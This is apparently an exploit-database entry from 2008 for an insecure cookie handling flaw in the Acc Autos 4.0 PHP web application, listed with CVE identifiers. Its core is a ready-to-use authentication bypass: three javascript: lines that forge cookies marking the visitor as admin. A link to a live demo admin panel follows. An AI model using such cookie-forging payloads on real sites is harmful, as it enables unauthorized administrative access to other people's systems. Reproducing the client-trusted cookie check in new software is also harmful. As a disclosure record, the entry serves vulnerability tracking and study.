Acc Autos 4.0 - Insecure Cookie Handling

Author: x0r
type: webapps
platform: php
port: 
date_added: 2008-11-02 
date_updated:  
verified: 1 
codes: OSVDB-49938;CVE-2008-6294;CVE-2008-6293;CVE-2008-6292 
tags: 
aliases:  
screenshot_url:  
application_url:

-==========================================-
Autore: x0r - Road Crew - Evolution Team
Cms: Acc Autos v4.0
Bug:  Insecure Cookie Handling
Site: http://pro7.altervista.org/v2/
-==========================================-
Exploit:

[+]javascript:document.cookie="username_cookie=admin";
[+]javascript:document.cookie="right_cookie=1";
[+]javascript:document.cookie="id_cookie=1";

Live Demo:

http://www.accscripts.com/autos/demo/admin/

Greetz: 8\10\2008..Il Sogni Diventa RealtÃ ...Bimb4 Ti AmO.

# milw0rm.com [2008-11-03]